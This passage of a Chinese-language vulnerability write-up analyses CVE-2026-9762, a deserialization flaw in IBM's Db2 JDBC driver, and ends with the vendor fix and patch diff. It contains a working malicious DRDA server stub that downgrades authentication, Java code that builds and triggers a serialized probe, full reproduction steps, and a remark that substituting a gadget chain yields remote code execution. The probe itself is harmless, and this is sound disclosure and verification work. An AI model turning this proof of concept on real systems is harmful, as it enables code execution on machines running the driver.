def handle(conn: socket.socket, addr):
global _conn_count
_conn_count += 1
print(f"[+] 连接来自 {addr[0]}:{addr[1]} (#{_conn_count})")
if KILL_RESET and _conn_count >= 2:
# 池化 reset_() 重新握手:读完 EXCSAT 即断开,制造握手期通信错误
try:
parse_ddm(conn)
except Exception:
pass
print("[!!] killreset 模式: 第 2+ 连接在握手中直接断开")
conn.close()
return
try:
while True:
frame = parse_ddm(conn)
if frame is None:
print("[-] 连接关闭或帧解析失败")
break
codepoint, raw, payload, correlation = frame
name = CODEPOINTS.get(codepoint, "UNKNOWN")
print(f"\n[<==] code point 0x{codepoint:04x} {name} (len={len(raw)} corr=0x{correlation:04x})")
if payload:
print(hexdump(payload))
# 保存原始 payload 供精确解码
if codepoint == 0x1041:
open("/tmp/excsat.bin", "wb").write(payload)
elif codepoint == 0x106d:
open("/tmp/accsec.bin", "wb").write(payload)
# ========== 回包(按 codepoint 分发) ==========
if codepoint == 0x1041: # EXCSAT -> EXCSATRD
conn.sendall(build_ddm(0x1443, excsatrd_body(), correlation, FMT_EXCSATRD))
print("[==>] 已回 EXCSATRD (0x1443)")
elif KILL_ON_STMT and codepoint not in (0x1041, 0x106D, 0x106E, 0x2001):
# 握手(EXCSAT/ACCSEC/SECCHK/ACCRDB)之外的第一个请求即断开:
# LUW(serverType 4)下它是 piggyback flush;QSQ(serverType 3)下它是
# getConnection 内部的 license proc flow(CALL SYSIBM.DB2CON_LIC)。
print(f"[!!] kill 模式: 收到连接后请求 0x{codepoint:04x}, 直接断开制造通信错误")
break
elif codepoint == 0x106D: # ACCSEC -> ACCSECRD
# 解析客户端的安全机制选择
secmec = 0
sectkn = b""
for cp, data in parse_params(payload):
if cp == 0x11A2: # SECMEC
secmec = struct.unpack(">H", data[:2])[0]
elif cp == 0x11DC: # SECTKN
sectkn = data
if secmec == 0x09: # EUSRIDPWD -> 降级到明文
conn.sendall(build_ddm(0x14AC, accsecrd_downgrade_body(), correlation, FMT_ACCSECRD))
print(f"[==>] 已回 ACCSECRD (拒绝 SECMEC=9, 降级 [3,5])")
else: # USRIDPWD 等 -> 接受, 回显 SECTKN
conn.sendall(build_ddm(0x14AC, accsecrd_plain_body(sectkn), correlation, FMT_ACCSECRD))
print(f"[==>] 已回 ACCSECRD (接受 SECMEC={secmec})")
elif codepoint == 0x106E: # SECCHK -> SECCHKRM
conn.sendall(build_ddm(0x1219, secchkrm_body(), correlation, FMT_SECCHKRM))
print("[==>] 已回 SECCHKRM (0x1219)")
elif codepoint == 0x2001: # ACCRDB -> ACCRDBRM + SQLCARD(正常)
global _alt_port
_alt_port += 1 # 每次连接 alternate 端口变化
conn.sendall(build_ddm(0x2201, accrdbrm_body(), correlation, FMT_ACCRDBRM))
conn.sendall(build_ddm(0x2408, sqlcard_body(False), correlation, 0x03))
print(f"[==>] 已回 ACCRDBRM + SQLCARD(正常) alt_port={_alt_port}")
elif codepoint == 0x2014: # EXCSQLSET -> SQLCARD(正常, 运行时 WARN12)
conn.sendall(build_ddm(0x2408, sqlca_runtime(False), correlation, 0x03))
print("[==>] 已回 SQLCARD(EXCSQLSET 正常)")
elif codepoint == 0x2450: # SQLATTR -> SQLCARD(正常)
conn.sendall(build_ddm(0x2408, sqlca_runtime(False), correlation, 0x03))
print("[==>] 已回 SQLCARD(SQLATTR 正常)")
elif codepoint == 0x200D: # PRPSQLSTT -> SQLDARD
conn.sendall(build_ddm(0x2411, sqldard_body(), correlation, 0x03))
print("[==>] 已回 SQLDARD")
elif codepoint == 0x200C: # OPNQRY -> SQLCARD(-30108 触发运行时 reroute)
conn.sendall(build_ddm(0x2408, sqlca_runtime(True), correlation, 0x03))
print("[==>] 已回 SQLCARD(-30108 reroute)")
# =============================================
except Exception as e:
print(f"[-] 异常: {e}")
finally:
conn.close()
def stage_payload(path: str):
"""读取本地 base64 文件,解码成序列化 payload,写到 sink 会读的缓存文件。
注意: 这条漏洞反序列化读的是本地文件(不是网络流),所以"发送"payload
的落点 = 预置本地缓存文件。本机测试时 drda_server.py 可直接写;
跨机器攻击时 payload 需通过其他方式先放到受害者 /tmp 下。
"""
with open(path, "rb") as f:
raw = base64.b64decode(f.read().strip())
os.makedirs(CACHE_DIR, exist_ok=True)
with open(PAYLOAD_FILE, "wb") as f:
f.write(raw)
print(f"[*] 已把 payload({len(raw)} 字节) 解码写入 {PAYLOAD_FILE}")
def main():
payload_file = sys.argv[3] if len(sys.argv) > 3 else None
if payload_file:
stage_payload(payload_file)
elif os.path.isfile(PAYLOAD_FILE):
print(f"[*] 使用已有 payload: {PAYLOAD_FILE} ({os.path.getsize(PAYLOAD_FILE)} 字节)")
else:
print(f"[!] 未找到 payload,请先运行 client/PayloadBuilder")
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(1)
print(f"[*] DRDA 恶意服务端监听 {HOST}:{PORT} ...")
while True:
conn, addr = srv.accept()
handle(conn, addr)
if __name__ == "__main__":
main()启动命令(四参数,kill 是第 4 个模式参数):
python3 -u server/verifier_server.py 50000 /tmp "" kill4.3 反序列化探针与生成脚本
com.ibm.db2.jcc.t4.VerificationPayload —— 与 JCC 同包的无害探针(核心是 #readObject(java.io.ObjectInputStream) 回调):
package com.ibm.db2.jcc.t4;
/**
* 无害反序列化探针:继承旧版 t4.ServerListCache 使驱动侧 cast 通过;
* readObject 回调只写 marker(含完整调用栈),不执行命令。
*/
public final class VerificationPayload extends ServerListCache {
private static final long serialVersionUID = 1L;
private final String markerPath;
public VerificationPayload(String markerPath) {
this.markerPath = markerPath;
}
private void readObject(java.io.ObjectInputStream input) throws Exception {
input.defaultReadObject();
StringBuilder report = new StringBuilder();
report.append("deserialized\n").append(System.currentTimeMillis()).append('\n');
// 记录触发反序列化的完整调用链,用于确认真实 sink 入口
for (StackTraceElement frame : Thread.currentThread().getStackTrace()) {
report.append(" at ").append(frame.toString()).append('\n');
}
java.nio.file.Files.write(
java.nio.file.Paths.get(markerPath),
report.toString().getBytes("UTF-8"));
}
}PayloadBuilder —— 生成探针文件(#main):
import com.ibm.db2.jcc.t4.VerificationPayload;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public final class PayloadBuilder {
// 探针落点 = 驱动 com.ibm.db2.jcc.am.ao#r() 解析出的缓存目录 + 文件名。
// 验证 tmpdir 回退场景时,把该路径改到 System.getProperty("java.io.tmpdir") 下即可。
private static final Path PAYLOAD_FILE = Paths.get(
"/tmp/jccServerListCache.bin");
// marker 是触发判定的唯一标准:readObject 回调执行时写入
private static final Path MARKER_FILE = Paths.get(
"/tmp/deserialization-marker.txt");
private PayloadBuilder() {
}
public static void main(String[] args) throws Exception {
createParentIfMissing(PAYLOAD_FILE);
createParentIfMissing(MARKER_FILE);
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
// 标准 Java 序列化 —— 与驱动 com.ibm.db2.jcc.am.k9#a(String, boolean)
// 中无过滤的 ObjectInputStream 对应
try (ObjectOutputStream output = new ObjectOutputStream(bytes)) {
output.writeObject(new VerificationPayload(MARKER_FILE.toString()));
}
Files.write(PAYLOAD_FILE, bytes.toByteArray());
System.out.println("payload 已生成: " + PAYLOAD_FILE);
System.out.println("marker 路径: " + MARKER_FILE);
System.out.println("payload bytes=" + bytes.size());
}
private static void createParentIfMissing(Path file) throws IOException {
Path parent = file.toAbsolutePath().getParent();
if (parent != null && !Files.isDirectory(parent)) {
Files.createDirectories(parent);
}
}
}注意:探针必须用 12.1.4 编译(12.1.5 已删除 t4.ServerListCache)。验证 tmpdir 回退场景时,把 PAYLOAD_FILE 指向 java.io.tmpdir 即可。
4.4 连接触发脚本
ConnectionVerifier —— 全部触发逻辑只有 #main 里的一行 getConnection:
import java.sql.Connection;
import java.sql.DriverManager;
public final class ConnectionVerifier {
public static void main(String[] args) throws Exception {
// outputDirectory 是全局属性(非 URL 属性);未配置时驱动回退 java.io.tmpdir
String cacheDirectory = args.length > 0 ? args[0] : "/tmp";
System.setProperty("db2.jcc.outputDirectory", cacheDirectory);
// URL 只带 createLicenseCache=true:
// 不配 clientRerouteAlternateServerName —— 迫使 firstConnectionEstablished
// 不被置位、ao.dX 保持 null,错误恢复时才会走磁盘缓存分支
String payload = "jdbc:db2://127.0.0.1:50000/TESTDB:"
+ "createLicenseCache=true;";
try {
// 不执行 SQL、不调用任何连接管理 API。
// 触发发生在 getConnection 内部:
// completeConnect 第 222 步置位 -> 第 383 步 license CALL flow
// -> 服务端断开 -> 通信错误恢复 r.a -> loadServerListCache
// -> com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true) -> readObject
Connection conn = DriverManager.getConnection(payload, "db2user", "db2pass");
System.out.println("getConnection succeeded (no further calls made)");
} catch (Exception expected) {
// license 异常是预期现象(12.1.5 也抛同样的异常),
// 唯一判定标准是 marker 文件是否出现
System.out.println("getConnection ended: " + expected);
}
}
}4.5 复现步骤
步骤一:编译(一次性,探针必须用 12.1.4 编译,12.1.5 已删除 t4.ServerListCache)
javac -source 8 -target 8 -d cve-2026-9762-verifier/target/classes \
-cp jcc-12.1.4.0.jar \
cve-2026-9762-verifier/java/com/ibm/db2/jcc/t4/VerificationPayload.java \
cve-2026-9762-verifier/java/PayloadBuilder.java \
cve-2026-9762-verifier/java/ConnectionVerifier.java步骤二:生成探针
java -cp cve-2026-9762-verifier/target/classes:jcc-12.1.4.0.jar PayloadBuilder步骤三:启动 DRDA stub(kill 模式,保持终端不关)
每轮客户端运行前需清理旧 marker 并重启服务端(kill 模式的连接计数在服务端进程内,不重启会把下一轮握手误断):
rm -f /tmp/deserialization-marker.txt \
/tmp/serverlist.lock
python3 -u cve-2026-9762-verifier/server/verifier_server.py \
50000 /tmp "" kill步骤四:运行连接端(另开一个终端)
java -cp cve-2026-9762-verifier/target/classes:jcc-12.1.4.0.jar \
ConnectionVerifier /tmp连接端会抛出 license 异常(SqlSyntaxErrorException,ERRORCODE=-4230)—— 这是预期现象,不是判定标准。
步骤五:查看结果(唯一判定标准)
head -20 /tmp/deserialization-marker.txt出现 deserialized + 时间戳 + k9.a -> b.a -> r.a -> ... -> readObject 调用栈即触发成功,同时缓存目录下出现 serverlist.lock。
4.6 从 sink 可达到 RCE 的距离
把验证器中的无害探针替换为任意反序列化 gadget(要求目标 classpath 存在可用链),即从"sink 可达"升级为"代码执行"。执行原语完全相同:真实 gadget 链同样挂在反序列化回调(readObject/readResolve/hashCode/toString…)上,探针回调能跑意味着这些链的触发点同样会被执行。驱动在 readObject() 返回后才做 (ServerListCache) 强转,即使链导致 ClassCastException,回调也早已执行完毕。DRDA 网络响应本身不会把 payload 写到受害端文件系统,.bin 必须经由本地文件写入能力预置 —— 这正是 2.2 节 tmpdir 回退的意义所在。
五、漏洞修复
5.1 修复方案
首选方案是升级到 com.ibm.db2:jcc:12.1.5.0 或 IBM 后续安全维护版本:
<dependency>
<groupId>com.ibm.db2</groupId>
<artifactId>jcc</artifactId>
<version>12.1.5.0</version>
</dependency>必须停留在 12.1.4 时,应使用 IBM V12.1.4 Special Build #87349 或更高版本。官方公告明确标记无 workaround,因此不建议只靠删除 URL 中的 createLicenseCache 作为完整修复 —— 同名反序列化工具函数还服务于服务器列表缓存的全局开关路径。
5.2 Patch Diff:12.1.5 删除了什么
12.1.5 的修复不是在 readObject() 前面加一个简单判断,而是把旧磁盘缓存能力从 source 到 sink 整体移除:
模块 | 12.1.4 行为 | 12.1.5 行为 |
| 识别 URL 属性 | 删除该特殊处理 |
| 暴露 | 删除公开 API 和状态字段 |
| 保存 | 删除连接状态 |
|
| 不再通过该开关读本地 |
| 更新缓存时可按布尔参数写回磁盘 | 只维护内存 HashMap |
旧 | 处理 | 缓存文件读写与反序列化逻辑被删除 |
| 初始化缓存路径、锁文件、 | 旧磁盘缓存设施被移除( |
字节码层复核:12.1.5 全 am+t4 包中引用 ObjectInputStream 的类仅剩 LOB 数据流相关的两个类,与缓存无关。
12.1.5 中,SRVLST 解析路径(com.ibm.db2.jcc.t4.y,内存缓存字段由 dX 更名为 dY)仍会维护内存缓存,但已经变成:
// 12.1.5 com.ibm.db2.jcc.t4.y(SRVLST 解析路径)
if (ao.dY == null) {
synchronized (ao.dZ) {
if (ao.dY == null) {
ao.dY = new ServerListCache();
}
}
}
ao.dY.updateEntryWithLatestServerList(...);新版 com.ibm.db2.jcc.t4.ServerListCache#updateEntryWithLatestServerList(String, String[], int[], long) 也不再接收"是否持久化"的布尔参数:
// 12.1.5 com.ibm.db2.jcc.t4.ServerListCache#updateEntryWithLatestServerList(String, String[], int[], long)
public synchronized void updateEntryWithLatestServerList(
String string, String[] stringArray, int[] nArray, long l2) {
ServerListEntry serverListEntry = this.getEntry(string);
if (serverListEntry == null) {
this.addNewServerListEntry(string, stringArray, nArray, l2);
} else {
boolean bl2 = this.hasEntryChanged(serverListEntry, stringArray, nArray);
if (bl2) {
serverListEntry.updateServer(stringArray);
serverListEntry.updatePortNumber(nArray);
serverListEntry.updateLastUpdatedTime(l2);
}
}
}这说明 IBM 修的是能力边界,而不是某个局部 if 条件。
5.3 修复设计:为什么整体删除
第一,问题的危险性来自 Java 原生反序列化。给 ObjectInputStream 做黑名单或弱过滤很脆,依赖应用 classpath、JDK 版本、第三方库和未来 gadget 变化。对于 JDBC 驱动这种会被大量服务端应用加载的基础库,保留一个可由配置触达的本地反序列化入口,安全收益明显小于兼容收益。
第二,单纯删除 URL 属性不够。旧版 com.ibm.db2.jcc.DB2BaseDataSource#isCreateLicenseCache() 同时合并了实例字段和全局 ao.dM,后者来自 db2.jcc.createLicenseCache 全局配置。即使不从 JDBC URL 读取,只要其他路径还能打开开关,磁盘缓存读取能力仍可能存在。
第三,只修 ServerListCache 也不够。旧工具函数 com.ibm.db2.jcc.am.k9#a(String, boolean) 同时服务 jccServerListCache.bin 和 connlicj.bin,而且缓存路径、锁文件、读写工具集中在 am.ao/am.k9 一侧,保留这些工具函数等于保留了未来误调用的可能。
第四,磁盘服务器列表缓存本质上是性能或可用性优化,不是完成数据库连接的必需能力。12.1.5 保留了内存级服务器列表缓存,连接功能不受影响。
修复链按层次展开:
删除 URL 特殊属性处理
-> 删除 DataSource 公开开关
-> 删除 Connection 传播字段
-> 删除 t4.b.ai() 依赖的危险状态
-> 删除本地 .bin 缓存读写
-> 删除 java.io.tmpdir 回退
-> 删除 ObjectInputStream.readObject() 缓存入口
-> ServerListCache 仅保留内存缓存5.4 为什么能阻止 getConnection 触发
12.1.5 并不是阻止 getConnection() 执行,也不是让连接错误恢复逻辑消失。真正变化是:getConnection() 内部即使仍发生 license flow、通信错误、恢复逻辑,也找不到通往本地序列化缓存的路。
旧版触发依赖三个条件同时成立:
ao.dX == null
com.ibm.db2.jcc.t4.b#ai() == true
com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true) 存在12.1.5 对这三个条件逐层处理:
createLicenseCache=true仍可能作为普通 URL 字符串出现,但DB2Driver不再消费它;#setCreateLicenseCache()、#isCreateLicenseCache()(com.ibm.db2.jcc.DB2BaseDataSource)和Connection.createLicenseCache_被删除,#ai() == true这类状态不再成立;- 错误恢复路径只初始化新的内存
ServerListCache,不再调用com.ibm.db2.jcc.am.k9#a("jccServerListCache.bin", true); - 新版工具类中找不到缓存文件名、
ObjectInputStream或readObject组合; - 旧缓存文件即使存在于 outputDirectory 或系统临时目录,也不会被连接流程打开。
因此阻断点不是单点,而是 source、状态传播、触发分支、sink 四层同时消失。getConnection 仍可能抛出同样的 license 或通信异常,但不会再伴随本地 .bin 反序列化 —— 这正是动态验证中两个版本"同样的异常、不同的 marker"的原因。
六、Reference
- IBM Security Bulletin: CVE-2026-9762https://www.ibm.com/support/pages/security-bulletin-ibm%C2%AE-data-server-driver-jdbc-and-sqlj-vulnerable-remote-code-execution-when-jdbc-url-under-user-control-cve-2026-9762
- IBM JCC Builds and APAR fixeshttps://www.ibm.com/support/pages/jcc-builds-and-apar-fixes
- IBM Db2 JDBC Driver Versions and Downloadshttps://www.ibm.com/support/pages/db2-jdbc-driver-versions-and-downloads
- IBM 12.1.5 JDBC/SQLJ Enhancementshttps://www.ibm.com/docs/en/db2/12.1.x?topic=enhancements-jdbc-sqlj-driver